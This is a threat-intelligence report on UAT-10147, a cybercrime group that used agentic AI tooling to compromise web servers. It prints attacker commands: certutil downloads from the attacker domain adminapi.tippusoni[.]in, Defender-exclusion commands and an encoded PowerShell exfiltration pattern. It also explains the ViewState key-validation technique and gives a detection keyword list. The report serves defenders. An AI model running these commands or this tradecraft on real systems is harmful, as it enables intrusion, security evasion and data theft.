【CyCraft Monthly Intelligence】When Agentic AI Enters Real-World Intrusions: Inside UAT-10147's Large-Scale Web Server Attacks

‍

Threat and Impact

Cisco Talos has uncovered alarge-scale campaign led by UAT-10147, a primarily Chinese-speaking, financially motivated cybercrime group targeting vulnerable Windows and Linuxweb servers worldwide. The campaign marks another significant shift in the cybercrime landscape: rather than simply using AI to generate scripts, the attackers haveintegrated agentic AI into real-world intrusion operations, including reconnaissance, exploit selection, payload generation, troubleshooting, validation, and post-compromise automation.

The campaign primarily targets Internet-facing web servers in the government, education, media, technology,and gaming sectors. The research team observed affected systems in Brazil, Bolivia, China, Canada, and Vietnam, and an exposed attacker C2 directory revealed a massive target list containing approximately 170,000 URLs. This indicates that the campaign is not a series of opportunistic intrusions, but ascalable, repeatable intrusion pipeline by design.

UAT-10147 relies mainly onpublicly disclosed vulnerabilities, exploiting known RCE and deserialization flaws in a range of products and frameworks, including Zimbra Collaboration Suite, AjaxPro, Nacos, Telerik UI for ASP.NET AJAX, and ASP.NET ViewState configurations with exposed MachineKey secrets. After gaining initial access, the group uses additional Windows and Linux privilege escalation techniques to obtain higher privileges and then deploys malware or persistent backdoors.

What makes this campaign dangerous is the combination of widely available offensive tools and AI-automated workflows. The tooling includes Metasploit, ysoserial, PentestGPT, DeepAudit, and various privilege escalation exploits, paired with malware, implants, and WebShells such as BadIIS, QuasarRAT, SPECTRE, NoodleRAT, and Meterpreter. This combination allows the attackers to automate complex attack steps and reduce the manpower required to run operations.

For government and educational institutions, a compromise of public-facing web infrastructure could exposecitizen, student, research, or administrative data. Media organizations may suffer reputational damage, content tampering, or abuse of their platforms fortraffic fraud. Technology companies face exposure of source code, credentials, customer data, or infrastructure. Gaming companies may experience account datatheft, service disruption, traffic manipulation, or abuse of their community platforms.

Although no specific financial losses have been reported so far, the potential consequences should not be underestimated. Compromised servers can be used for long-term persistence, C2 access, data exfiltration, SEO fraud, malware staging, and follow-on attacks against connected environments. The incident is another reminder that Internet-facing infrastructure remains a high-value target, and that financially motivated attackers are increasingly able to"industrialize" intrusions through AI-driven tooling and automation.

‍

Analyst Perspective

The direct impacts observed inthis campaign include SEO fraud, data theft, malware deployment, and persistent unauthorized access to compromised servers. BadIIS infections in particular canmanipulate website traffic and search engine behavior, potentially damaging an organization's reputation, search visibility, and customer trust. Data exfiltration from compromised servers may expose sensitive operational, business, or user information, depending on the role the system plays.

UAT-10147's abuse of agentic AI increases the scalability of this threat. By using AI to assist with reconnaissance, vulnerability validation, and deployment scripts, the group significantly lowers the time and expertise needed to compromise large numbers of vulnerable systems. The 170,000-URL target list illustrates how exposed webservers are processed in batches for efficient scanning and exploitation. As aresult, any organization with unpatched systems, leaked secrets, weak IIS configurations, or insufficient monitoring of outbound connections could become a target of this kind of large-scale criminal activity.

The incident also highlights a growing risk: AI-enabled attackers can iterate faster, document their own operating procedures, validate exploitation automatically, and troubleshoot failures with less manpower. The campaign shows attack tradecraft moving from basic AI-assisted script writing toward semi-autonomous attack orchestration. For sectors that rely heavily on public web applications and Internet-facing services, this means known vulnerabilities and misconfigurations are likely to be exploited at greater scale and speed.

‍

Technical Details

The success of the UAT-10147campaign stems from a combination of factors: Internet-facing web applications, publicly disclosed RCE vulnerabilities, leaked ASP.NET MachineKey secrets, writable web server paths, and unpatched local privilege escalation vulnerabilities. Rather than relying on a single vulnerability or malware family, UAT-10147 built a semi-automated intrusion workflow that combines off-the-shelf offensive frameworks, OS-native tools, AI-generated playbooks, and multiple implants.

One of the key technical characteristics of this incident is the multi-layered, operational integrationof agentic AI. The research findings show that AI-generated documentation and Python scripts helped the attackers validate ViewState exploitation, test writable paths, deploy implants, install WebShells, and exfiltrate reconnaissance results.

Reconnaissance

UAT-10147 conducts large-scale reconnaissance against Internet-facing web servers. In an open directory on the attacker's infrastructure, the research team found a target list containing approximately 170,000 URLs. Instead of scanning the entire list at once, the attackers split it into 17 smaller files, each containing about 10,000 URLs. The naming convention uses "w" to represent the Chinese character "萬" (wan, i.e.,10,000), indicating that the operators are Chinese speakers.

The attacker uses both traditional and AI-assisted methods to identify exploitable targets. Tools such as PentestGPT and DeepAudit were present on attacker-controlled infrastructure. PentestGPT was used to dynamically scan web servers, identify suitable PoCexploits, and gather information about victim systems. DeepAudit appears to have been intended for vulnerability scanning of source code and dependencies, although vulnerabilities discovered by DeepAudit have not yet been directly observed being exploited in victim environments.

The group also performs targeted probing for specific vulnerable technologies. For example, in the Telerikattack path, the attackers first check whether the Telerik file upload handlerexists and attempt to fingerprint the software version before launching the attack. In ASP.NET ViewState attacks, the attackers first verify whether stole nor exposed MachineKey material works against the actual target before proceeding with full exploitation.

Resource Development

Before and during the campaign, UAT-10147 developed and deployed a wide range of resources to support exploitation and post-compromise operations.

The attackers operated a download and staging server: 139.180.197[.]150. Researchers found an exposed opendirectory on this server containing operational artifacts, including the 170,000-URL target list, tools, payloads, and scripts. The same infrastructure was also used as a secondary staging location, hosting a fallback ASHX WebShellon port 54321.

Another observed payload hosting domain is adminapi.tippusoni[.]in. This domain was used to serve BadIIS-related components, including dll.zip and user.txt (saved as user.bat on victimsystems).

The attackers' resource pool spans offensive frameworks, malware, implants, privilege escalation tools, native system utilities, and AI-generated scripts. Notable resources include:

• Metasploit and Meterpreter
• ysoserial / ysoserial.exe
• PentestGPT
• DeepAudit
• badsecrets
• EfsPotato and otherPotato-family privilege escalation tools
• Linux local privilegeescalation exploits
• BadIIS
• QuasarRAT
• SPECTRE
• NoodleRAT
• Gh0stCringe, observedin related activity
• ASHX WebShells
• AI-generated Python scripts such as check_paths.py, deploy_implant.py, deploy_shell.py, andexfil.py

UAT-10147 also uses third-party services as operational infrastructure. webhook.site endpoints were used for out-of-band callback verification and data exfiltration. An attacker-controlled Nacos configuration server served as an asynchronous data collection point for exploitation telemetry, allowing the attackers to confirm successful code execution without maintaining a live reverse shell.

Initial Access

Initial compromise primarily exploits public-facing web applications and servers affected by known vulnerabilities. UAT-10147 targets both Windows and Linux web servers and relies heavily on publicly disclosed "one-day" vulnerabilities rather than unknown zero-days.

Observed or documented exploitation paths include:

• CVE-2022-27925: Unauthenticated RCEin Zimbra Collaboration Suite.
• CVE-2021-23758: AjaxProdeserialization RCE.
• CVE-2021-29441 and CVE-2021-29442: Arbitrary codeexecution vulnerabilities in the Nacos framework.
• CVE-2019-18935: .NET JSONdeserialization vulnerability in Telerik UI for ASP.NET AJAX.
• ASP.NET ViewState deserialization RCE using exposed MachineKey material.

In the Nacos attacks, the payload abuses the Service Provider Interface (SPI) of ScriptEngineFactory. When the malicious class is loaded, it calls Runtime.exec() to spawn an OS shell. The payload adapts to the victim environment, using /bin/bash on Linux and cmd.exeon Windows.

In the Telerik UI attacks, UAT-10147 first confirms the presence of the vulnerable file upload handler and fingerprints the application version. Once a vulnerable version is confirmed, the attackers use a custom weaponized PoC to upload a file and achieve RCE. Talos observed that the post-compromise reverse shell DLLs follow a randomized naming format: [10 digits].[7 digits].dll

The ViewState attack path depends on exposed or leaked ASP.NET MachineKey values. The attackers' AI-generated guide documents the required prerequisites:

• ValidationKey
• DecryptionKey
• Validation anddecryption algorithms, such as SHA1, AES, or 3DES
• The target page's__VIEWSTATEGENERATOR value
• Target URL

The attackers cite badsecrets as asource of publicly known or leaked MachineKey configurations. This makes MachineKey exposure the fundamental enabling condition of the ViewState attackchain.

Execution

After achieving RCE, UAT-10147 executes attacker-controlled commands and scripts to deploy malware, perform reconnaissance, escalate privileges, and establish persistence.

On Windows systems, the infection chain typically begins with a batch script:

back.txt

back.bat

This script serves as the main multi-stage deployment script, using certutil to download additional payloads, including:

• EfsPotato, renamed to prcc1.rar
• A secondary batchscript, bai.bat
• QuasarRAT, disguisedas svchosts.exe

The attackers also downloaded BadIIS components and a third script:

certutil -urlcache -split -fhttps[:]//adminapi.tippusoni[.]in/4/dll.zip C:\ProgramData\dll.zip

certutil -urlcache -split -fhttps[:]//adminapi.tippusoni[.]in/4/user.txt C:\ProgramData\user.bat

PowerShell and cmd.exe are heavily used for execution. In the ViewState attack chain, ysoserial-generated payloads trigger command execution through .NET gadget chains. The AI-generated guide identifies TypeConfuseDelegate as the preferred gadget chain and notes that it still works on .NET 4.8. The payload ultimately uses Process.Start() to execute commands.

A key operational detail is that Process.Start() executes asynchronously. The attackers' guide notes that time-based blind tests (such as ping -n 10 or timeout /t 10) are ineffective because the HTTP response returns immediately. The attackers therefore switched to out-of-band verification methods:

• certutil
• PowerShell with curl
• DNS callbacks using nslookup
• HTTP callbacks towebhook.site

On Linux systems, the attackers send RCE payloads to exposed servers, deploy WebShells, and then run local privilege escalation exploits. After obtaining higher privileges, they launch implants such as NoodleRAT, SPECTRE, and Meterpreter.

Persistence

UAT-10147 uses different persistence mechanisms depending on the platform and the level of access obtained.

On Windows, the secondary scriptsilently runs the backdoor payload and creates scheduled tasks with deceptivenames, such as:

Google Chrome Start

These scheduled tasks are configured to run the malware with the highest privileges whenever any user logs on, allowing QuasarRAT (disguised as svchosts.exe) to survive session log-offs and system reboots.

The attackers also use user.batto create a malicious local user account and add it to the local Administratorsand Remote Desktop Users groups, gaining persistent privileged access viaRemote Desktop Protocol (RDP).

WebShells are anothermajor persistence mechanism. On IIS servers, the AI-generated deploy_shell.pyscript installs a persistent ASHX WebShell named:

sss.ashx

Because ViewState RCE provides only command execution rather than direct file upload, the script uses a two-stage approach:

1.    Write a temporary ASHX upload handler, up.ashx, to the webroot.

2.    Use up.ashx as an HTTP relay to upload and place the final sss.ashx WebShell.

The script first Base64-encodes a minimal C# ASHX upload handler, then uses PowerShell with [IO.File]::WriteAllBytes to decode it and write it to disk. After confirming that up.ashx is accessible, the script uploads the final WebShell. If the WebShell file is not available locally on the attacker's machine, a fallback copy is retrieved from:

139.180.197[.]150:54321

The final WebShell is verified by requesting the file and checking the response size, then command execution is tested with the following payloads:

whoami

dir

On Linux systems, the attackers deploy WebShells after gaining initial RCE to maintain interactive access and support subsequent privilege escalation and implant deployment.

Privilege Escalation

Privilege escalation is central to this campaign. UAT-10147 typically gains initial execution in the context of a web application or IIS application pool identity, then escalates to SYSTEM on Windows or root on Linux.

On Windows, the attackers use EfsPotato renamed as:

prcc1.rar

This tool is used to execute commands in an elevated context. The attackers specifically target SeImpersonatePrivilege — a token privilege commonly held by IIS worker process identities. The recovered AI-generated guide describes how to use Potato-family tools to escalate from an IIS AppPool identity to SYSTEM, and notes that the attackers' SPECTRE implant has built-in functionality to automate this escalation.

After obtaining elevated privileges, the attackers proceed to:

• Modify Windows Defender exclusions
• Run deployment scripts
• Install malware in protected or monitored directories
• Create privileged local users
• Add users to the Administrators and Remote Desktop Users groups

On Linux, after gaining initial shell access, UAT-10147 used several known local privilege escalation vulnerabilities, including:

• CVE-2022-0995: Linux kernelwatch_queue out-of-bounds write privilege escalation vulnerability.
• CVE-2021-3156 ("Baron Samedit"): sudo heap-based buffer overflow allowing escalation to root.
• CVE-2015-5287: ABRT sosreport symlink handling flaw.
• CVE-2015-3246: libuser roothelper flaw that can corrupt /etc/passwd.
• CVE-2010-3904: Linux kernel RDS arbitrary kernel memory write.
• CVE-2022-0847 ("Dirty Pipe"): Linux kernel flaw allowing read-only files to be overwritten for privilege escalation.

After obtaining root privileges, the attackers deployed Linux-compatible implants such as NoodleRAT, SPECTRE, and Meterpreter.

Defense Evasion

UAT-10147 uses a variety of defense evasion techniques to reduce the visibility of its payloads and post-compromise activity.

The most notable example is tampering with Windows Defender exclusion settings. Using elevated privileges obtained through EfsPotato, the attackers add standard IIS directories to the Defender exclusion list:

C:\Windows\SysWOW64\inetsrv

C:\Windows\System32\inetsrv

The attackers use both PowerShell and registry modifications:

powershell Add-MpPreference -ExclusionPath C:\Windows\SysWOW64\inetsrv

powershell Add-MpPreference -ExclusionPath C:\Windows\System32\inetsrv

reg add "HKLM\SOFTWARE\Microsoft\WindowsDefender\Exclusions\Paths" /v "C:\Windows\SysWOW64\inetsrv" /tREG_DWORD /d 0 /f

reg add "HKLM\SOFTWARE\Microsoft\WindowsDefender\Exclusions\Paths" /v "C:\Windows\System32\inetsrv" /tREG_DWORD /d 0 /f

This allows malicious IIS modules, including BadIIS components, to be placed in directories less likely to be scanned by antivirus software.

The attackers also use masquerading. QuasarRAT is disguised as:

svchosts.exe

This name closely resembles the legitimate Windows process svchost.exe, making it harder to spot during acursory review.

Temporary files and scripts are deleted after use to hinder forensic analysis. Scheduled tasks are given innocuous-looking names such as "Google Chrome Start." Reverse shellDLLs use random numeric filenames, making them difficult to identify with simple filename rules.

Encoded PowerShell commands are used during reconnaissance and data exfiltration. The AI-generatedexfil.py script encodes commands as UTF-16LE Base64 and executes them with:

powershell -nop -enc

This technique reduces command visibility and makes logging and analysis more difficult.

The attackers also use webhook.siteand the Nacos configuration server for callbacks and data collection, blending malicious communications into what appears to be normal web administration traffic.

Credential Access

The most credential-relevant aspect of this incident is the acquisition and validation of ASP.NET MachineKeymaterial.

To exploit ASP.NET ViewState, the attackers need valid cryptographic configuration values, including:

• ValidationKey
• DecryptionKey
• Validation algorithm
• Decryption algorithm
• __VIEWSTATEGENERATOR

The attackers' AI-generated ViewState attack guide notes that these values can often be obtained through badsecrets — an open-source tool that maintains a database of publicly known or leaked ASP.NET MachineKey configurations.

The attackers verify that the MachineKey is correct before executing a full payload. The guide documents a low-noise validation technique: submitting malformed ViewState data and interpreting the resulting HTTP 500 error message:

• A MAC Validation Failure indicates that the validation key is incorrect.
• An InvalidCastException indicates that the validation key is correct and the payload has been deserialized.

This allows UAT-10147 to confirm whether stolen or exposed key material is valid without immediately executing a noisy command payload.

Discovery

Once inside a victim system, UAT-10147 conducts extensive discovery to understand the host, web server architecture, privilege context, and viable persistence locations. The attackers collected hostnames, usernames, privilege information, IIS site configurations, webroot paths, virtual directory mappings, running processes,network interface information, and webroot directory contents. Commands and tools used include:

• id and hostname on Linux.
• %USERNAME% and %COMPUTERNAME% on Windows.
• whoami /priv, to check for privileges such as SeImpersonatePrivilege.
• dir C:\inetpub\wwwroot\ -Name, to enumerate hosted web applications.
• appcmd.exe list site and appcmd.exe list vdir, to enumerate IIS sites, bindings, virtual directories, and physical paths.
• icacls, to inspect permissions on target directories.

On IIS servers, appcmd.exe is a key discovery tool. Commands used by the attackers include:

C:\Windows\system32\inetsrv\appcmdlist site /config /xml

appcmd.exe list site

appcmd.exe list vdir

These commands reveal IIS site configurations, hosted domains, bindings, virtual directories, and physicalpaths, helping the attackers decide where to install BadIIS modules or write ASHX WebShells.

The AI-generated ViewState attack guide also documents a systematic reconnaissance playbook executed entirely through encoded PowerShell commands to evade AMSI andlogging. At this stage, the attackers collect:

• System information
• Token privileges
• Webroot directory listings
• IIS site configurations
• Network interface data
• Running processes

All the above data is exfiltrated via HTTP POST to a remote webhook. The playbook runs only after RCE has been confirmed through an out-of-band callback, and it provides the intelligence foundation for subsequently establishing an interactive shell and escalating privileges.

The AI-generated exfil.py script also performs discovery:

dir C:\inetpub\wwwroot\ -Name

appcmd.exe list site

whoami /priv

These commands reveal deployed applications, IIS topology, bindings, hosted names, and privilege information. In one analyzed findings log, callbacks confirmed that the webroot contained 13 site directories and that SeImpersonatePrivilege was enabled, giving the attackers a clear path to Potato-family privilege escalation.

Lateral Movement

The report does not describe extensive internal lateral movement across multiple enterprise systems. However, UAT-10147 did establish access mechanisms that could support lateral movement or remote control.

The most direct example is the creation of a malicious local user account that is added to the following two groups:

• Local Administrators
• Remote Desktop Users

This gives the attackersprivileged RDP access to the compromised host, which could also serve as apivot point for further activity.

The attackers also deployed remote access tools and implants such as QuasarRAT, SPECTRE, NoodleRAT, Meterpreter, Gh0stCringe, and WebShells. These tools provide interactive command execution and remote control capabilities; if the compromised server can reach other internal resources, they could be used for further lateral movement.

Collection

UAT-10147 collects the information it needs to validate exploitation, plan privilege escalation, choose persistence locations, and support subsequent monetization (such as BadIISdeployment).

Telemetry returned during the initial compromise stage (the Nacos exploitation chain) collects only minimal liveness-confirmation data:

• User identity and hostname (id, hostname on Linux; %USERNAME%, %COMPUTERNAME% on Windows)

The post-exploitation stage (the IIS/ViewState attack chain) collects:

• IIS site configurations, bindings, and hosted names
• IIS virtual directory and physical path mappings
• Webroot directory listings (the findings log records 13 site directories)
• Webroot ACLs and write permissions (including whether IUSR/IIS_IUSRS can write)
• Running process information
• Network interface data
• Privilege token information, especially SeImpersonatePrivilege status
• Exact exceptions raised when accessing protected files, such as access denied when reading redirection.config

The ViewState attack flow collects output through HTTP callbacks. The attackers' findings log contains more than12 callback results from a real target, confirming that multiple ysoserial gadget chains executed successfully on .NET 4.8.4797.0 and providing host and user discovery information.

Collection goes beyond technical reconnaissance and directly supports the attackers' operational decisions:

• Identifying writable webroots determines where ASHX WebShells are deployed.
• Confirming the presence of SeImpersonatePrivilege informs the choice of a Potato-family privilege escalation path.
• Site topology and bindings obtained via appcmd list site determine which sites the BadIIS moduleis injected into — a step that directly affects the reach of the SEO fraud.
• Being denied access to redirection.config marks the boundary of the current privileges and provides the motivation for privilege escalation.

Command and Control (C2)

UAT-10147 uses multiple command and control mechanisms, ranging from full-featured implants and WebShells toout-of-band callbacks.

Implants and remote access payloads deployed by the attackers include:

• QuasarRAT
• SPECTRE
• NoodleRAT
• Meterpreter
• Gh0stCringe, inrelated activity
• ASHX WebShells
• Linux WebShells
• Reverse shell payload

On Windows, QuasarRAT is delivered as svchosts.exe and maintains persistence through scheduled tasks. SPECTRE is deployed using AI-generated tooling and retrieved from attacker-controlled infrastructure via certutil or PowerShell fallback download logic.

The AI-generated deploy_implant.py script uses ViewState deserialization RCE to download and launch SPECTRE. After a short sleep, it runs PowerShell checks such as Test-Path and Get-Item.Length to verify that the implant was deployed successfully, and reports the results via webhook.site.

WebShells provide an additional command and control channel. The sss.ashx WebShell allows the attackers to execute commands on IIS servers over HTTP. The attackers verify the WebShell's availability using test commands such as whoami and dir.

Out-of-band callbacks are used extensively for exploitation validation and control-flow decisions. UAT-10147 used:

• HTTP/HTTPS callbacks to webhook.site
• certutil callbacks
• PowerShell and curl
• DNS callbacks using nslookup
• An attacker-controlled Nacos configuration server

The Nacos server acts as an asynchronouscommunication channel. During the Nacos attacks, victim telemetry is POSTed tothe attacker-controlled configuration server, allowing the attackers to confirmsuccessful exploitation while blending the traffic into normal configurationmanagement activity.

Exfiltration

UAT-10147 exfiltrates reconnaissance and validation data over HTTP/HTTPS-based channels, particularly webhook.site and the attacker-controlled Nacos configuration server.

During the Nacos attacks, the payload sends basic system telemetry to the attacker-controlled Nacos server. On Linux, this includes the output of the following commands:

id

hostname

On Windows, it includes:

%USERNAME%

%COMPUTERNAME%

The ViewState attack flow exfiltrates data to webhook.site via HTTP POST requests. Through this channel, the attackers obtain:

• System information
• Privilege data
• IIS site listings
• Webroot directory listings
• ACL information
• File write test results
• Implant deployment status
• WebShell deployment confirmation

The AI-generated exfil.py script specifically uses HTTPS traffic to webhook.site, encoding each PowerShell command as UTF-16LE Base64 before running it with powershell -nop -enc. It executes three main payloads:

dir C:\inetpub\wwwroot\ -Name

appcmd.exe list site

whoami /priv

This data helps the attackers identify deployed applications, map the IIS hosting topology, and determine whether the current privilege context allows for privilege escalation.

Impact

The primary observed impact is the deployment of BadIIS malware on compromised IIS servers. BadIIS is a malicious IIS module associated with SEO fraud and traffic manipulation. By installing malicious IIS modules, the attackers can alter web server behavior and manipulate search engine-facing content for financial gain.

The technical prerequisites for deploying BadIIS include:

• Achieving RCE on an IIS server.
• Escalating privileges using EfsPotato or related techniques.
• Adding IIS directories to the Windows Defender exclusion list.
• Downloading BadIIS components such as dll.zip.
• Enumerating IIS sites and configurations using appcmd.
• Installing or placing the malicious IIS module in a chosen location.

‍

Mitigation

Mitigating activity like UAT-10147's requires a layered defense, because the campaign combines exploitation of known vulnerabilities, exposed ASP.NET secrets, post-compromise automation, privilege escalation, WebShell deployment, and persistenceestablished through legitimate administrative features. The top defensivepriorities are to reduce the attack surface of Internet-facing web servers andto prevent attackers from turning initial remote code execution into lastingadministrative control.

• Organizations should start by inventorying all externally accessible web applications and services, particularly Windows IIS/ASP.NET servers, Linux web servers, Zimbra, Nacos,Telerik UI for ASP.NET AJAX, AjaxPro-based applications, and other Internet-facing frameworks. Because UAT-10147 relies heavily on publicly disclosed vulnerabilities, vulnerable systems exposed to the Internet are the most likely entry points. Patching and vulnerability management should prioritize known remote code execution issues such as Zimbra CVE-2022-27925, AjaxPro CVE-2021-23758, Nacos CVE-2021-29441 and CVE-2021-29442, Telerik UICVE-2019-18935, and the related Linux local privilege escalation vulnerabilities. Where immediate patching is not possible, affected services should be isolated, access-restricted, or protected with compensating controls such as a WAF, VPN, or allowlist-based administrative access.
• For ASP.NET environments, protecting MachineKey material is one of the most critical mitigations. The ViewState attack path described in this incident depends onthe attackers obtaining a valid ValidationKey and DecryptionKey, along with the associated algorithms and ViewState parameters. Organizations should ensurethat MachineKeys are not exposed in source code repositories, backups, public configuration files, container images, deployment artifacts, or shared documents. If a MachineKey is suspected to have been exposed, rotate itimmediately. Keys should also be unique to each application or IIS site; reusing a MachineKey across multiple applications widens the blast radius when a single site is compromised. Administrators should not assume that upgrading to .NET 4.8 alone prevents ViewState deserialization abuse, as the findings indicate that .NET 4.8 does not eliminate the gadget chain risk when an attacker holds valid key material.
• IIS hardening is equally important, because UAT-10147 leveraged IIS-specific paths, modules, application pool identities, and webroots during post-compromise activity. Application pool accounts should run with least privilege, and write permissions to the webroot should be restricted. In particular, unless there is a clear business need, IIS worker processes should not be able to write arbitrary .ashx, .aspx, .dll, or upload handler files to production website directories. IIS module directories such as C:\Windows\System32\inetsrv andC:\Windows\SysWOW64\inetsrv should be monitored for unauthorized DLLs or configuration changes. Defenders should also review IIS site bindings, virtual directories, physical paths, and module registrations for signs of BadIIS or other malicious modules.
• Windows Defender and endpoint protection settings deserve special attention. In the observed attack chain, the attackers attempted to add IIS directories to the Microsoft Defender exclusion list to avoid scans of malicious IIS modules and payloads. Security teams should alert on unexpected use of Add-MpPreference -ExclusionPath and on modifications under the following registry key:
  HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
  Particularly suspicious exclusions include:
  C:\Windows\System32\inetsrv
  C:\Windows\SysWOW64\inetsrv
  If such exclusions are found without administrator approval, the server should be treated as potentially compromised. Defender tamper protection, centralized policy enforcement, and EDR controls help prevent attackers from weakening local security settings after gaining code execution.
• Organizations should also restrict or closely monitor administrative binaries commonly abused in this campaign. UAT-10147 used tools such as certutil, PowerShell, cmd.exe, appcmd.exe, curl, nslookup, and New-Object Net.WebClient to download payloads, perform reconnaissance, verify command execution, and exfiltrate data. On production web servers, it is unusual for IIS worker processes or application pool identities to launch these tools. EDR and logging rules should alert when web server processes spawn command interpreters or living-off-the-land (LotL) binaries, especially with commands containing:
  certutil -urlcache -split -f
  powershell -nop -enc
  Add-MpPreference
  New-Object Net.WebClient
  [IO.File]::WriteAllBytes
  appcmd.exe list site
  appcmd.exe list vdir
  whoami /priv
  icacls
  nslookup or other outbound callback commands
  Where feasible, enable PowerShell Script Block Logging, Module Logging, command-line process auditing, and AMSI. Encoded PowerShell commands originating from web service accounts should be treated as high-risk behavior.

• Egress filtering is another critical control. The attackers used outbound HTTPS callbacks and webhook-style services to validate exploitation, collect reconnaissance results, and confirm implant deployment. Web servers typically need only limited outbound connectivity. Organizations should restrict outbound Internet access from production servers to approved destinations, proxies, update services, and business-required APIs. Direct outbound access to arbitrary IP addresses, non-standard ports, webhook services, file-sharing services, or unknown SaaS endpoints should be blocked or closely monitored. This reduces the attackers' ability to use seemingly normal HTTPS traffic to download tools, establish command and control, and exfiltrate data.
• Persistence mechanisms should be audited regularly. On Windows hosts, defenders should check for suspicious scheduled tasks, particularly spoofed names such as"Google Chrome Start," and tasks that run binaries from unusuallocations such as C:\ProgramData, temporary directories, IIS paths, or user-writable folders. Local user accounts and group memberships should also be reviewed. UAT-10147 created malicious users and added them to the local Administrators and Remote Desktop Users groups to maintain privileged RDP access. Any unexpected administrator accounts, RDP-enabled accounts, or recently created accounts on web servers should be investigated.
• For Linux servers, mitigation should cover both initial compromise and privilege escalation. Internet-facing applications must be patched, and local privilege escalation vulnerabilities such as Dirty Pipe and Baron Samedit, as well as older kernel and system utility flaws, must be remediated. Web server users should run with least privilege, and web application directories should be configured so that even if the application user is compromised, the attackers cannot modify system binaries, startup scripts, SSH keys, or application code outside the intended upload areas. Defenders should also monitor for WebShell activity, unusual outbound connections, artifacts of privilege escalation exploits, and implants such as NoodleRAT, Meterpreter, or other unknown ELF executables.
• Network and endpoint detection rules should be updated to the latest available coverage. The CiscoTalos research provides ClamAV signatures and Snort rules that detect and block known components of this activity:
  ClamAV：
  Py.Loader.Tool-10060293-1
  Py.Loader.Tool-10060293-2
  Win.Malware.Generic-10060228-0
  Win.Loader.Downloader-10060287-1
  Snort：
  Snort2：1:66697、1:66696
  Snort3：1:66697、1:66696
• Known indicators of compromise (IOCs), including attacker infrastructure such as 139.180.197[.]150, 139.180.197[.]150:54321, and adminapi.tippusoni[.]in, should be used for retrospective hunting and blocked where appropriate. However, IOC-based defenses should not be the only control, as attackers can easily change infrastructure, filenames, payloads, and AI-generated scripts.
• Incident responders investigating a potential compromise should review webroots, IIS module directories, scheduled tasks, Defender exclusions, local users, RDP group memberships, suspicious DLLs, ASHX/ASPX WebShells, and outbound traffic history. Pay particular attention to files such as back.bat, back.txt, bai.bat, user.bat, dll.zip, prcc1.rar, svchosts.exe, up.ashx, and sss.ashx, as well as unexpected DLLs with random numeric naming patterns. If malicious modules, implants, or WebShells are found, containment should include isolating the host, removing persistence mechanisms, rotating credentials and MachineKeys, reviewing adjacent virtual hosts, and rebuilding the server if its integrity cannot be assured.

The most effective mitigation is to eliminate the root causes that allowed this campaign to scale: exposed vulnerable web services, leaked ASP.NET MachineKeys, writable website directories, excessive IIS privileges, weak egress controls, and insufficient monitoring of administrative tool abuse. Because UAT-10147 uses AI-assisted workflows to accelerate exploitation and post-compromise operations, defenders should assume that future attacks of this kind may be faster, more automated, and more adaptive. Solid asset management, rapid patching, secrets protection, least privilege, egress restrictions, and behavioral monitoring are therefore far more reliable than relying on static indicators alone.

‍

IoCs (Indicator of Compromise)

Network

https[:]//adminapi[.]tippusoni[.]in/4/pr[.]exe
https[:]//adminapi[.]tippusoni[.]in/4/prcc2[.]txt
https[:]//adminapi[.]tippusoni[.]in/4/prcc2[.]rar
https[:]//adminapi[.]tippusoni[.]in/4/dll[.]zip
https[:]//adminapi[.]tippusoni[.]in/4/user[.]txt
https[:]//adminapi[.]tippusoni[.]in/4/back[.]txt
https[:]//adminapi[.]tippusoni[.]in/4/bai[.]txt
https[:]//adminapi[.]tippusoni[.]in/4/svchosts[.]exe
https[:]//adminapi[.]tippusoni[.]in/5/pr[.]exe
https[:]//adminapi[.]tippusoni[.]in/5/bai[.]txt
https[:]//adminapi[.]tippusoni[.]in/5/svchosts[.]exe
https[:]//kl21177[.]com/1/prcc1[.]rar 
https[:]//kl21177[.]com/1/dll[.]zip
https[:]//kl21177[.]com/1/user[.]bat
http[:]//139[.]180[.]197[.]150:54321/4/pr[.]exe
http[:]//139[.]180[.]197[.]150:54321/4/bai[.]txt
http[:]//139[.]180[.]197[.]150:54321/4/svchosts[.]exe 
139[.]180[.]197[.]150 
18[.]140[.]163[.]186 

Hash

‍

References

• UAT-10147: Chinese-speaking adversary integrates agentic AIinto post-compromise operations
• UAT-10147 Uses AI to Scale Server Attacks, Deploys SPECTREWith EDR Bypass and Linux Rootkit
• UAT-8099: Chinese-speaking cybercrime group targets high-valueIIS for SEO fraud
• ToolShell Fallout: From CVE to Crisis in 48 Hours - SafeSecurity
• UAT-10147 Compromises Web Servers to Deploy BadIIS for SEOFraud and Data Theft